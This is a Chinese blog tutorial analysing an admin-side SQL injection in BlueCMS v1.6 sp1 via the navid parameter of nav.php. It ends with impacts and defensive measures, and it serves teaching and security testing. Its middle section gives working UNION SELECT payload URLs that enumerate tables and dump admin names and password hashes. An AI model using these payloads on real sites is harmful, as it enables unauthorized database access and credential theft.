赞
踩
1、PhP地方门户系统 BlueCMS v1.6 sp1
下载地址:https://down.chinaz.com/soft/26181.htm
2、PHPstudy apache,mysql集成环境
在该cms系统中,其后台存在sql注入漏洞
这里直接拼接了前端接受的参数navid,我们可以直接控制传入参数导致sql注入漏洞产生。
这里对传入的参数进行了过滤,其中addslashes()函数,返回在预定义字符之前添加反斜杠的字符串,预定义字符有,单引号,双引号,反斜杠,null等,这里sql语句为数字型注入,该过滤无效。
这里判断传入的参数是否是数组,若不是数组直接使用addslashes()函数进行过滤。
整个sql语句执行过程中只对传入参数使用addslashes()函数进行了过滤,后续并没有进行其他过滤。这里存在sql 注入漏洞
http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1
返回正常页面
http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=1 order by 6
得出列数为6
http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,version(),database(),4,user(),6
http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(table_name),database(),4,5,6 from information_schema.tables where table_schema=database()
http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name=0x626C75655F61646D696E
这里我们选择了blue_admin这个表
http://www.bluecms.com:8001/admin/nav.php?act=edit&navid=-1 union select 1,group_concat(admin_name),group_concat(pwd),4,5,6 from blue_admin
(1)攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
(3)如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
(4)经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
(1)基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。
(2)对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。
(3)数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。
(4)严格限制网站访问数据库的权限。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。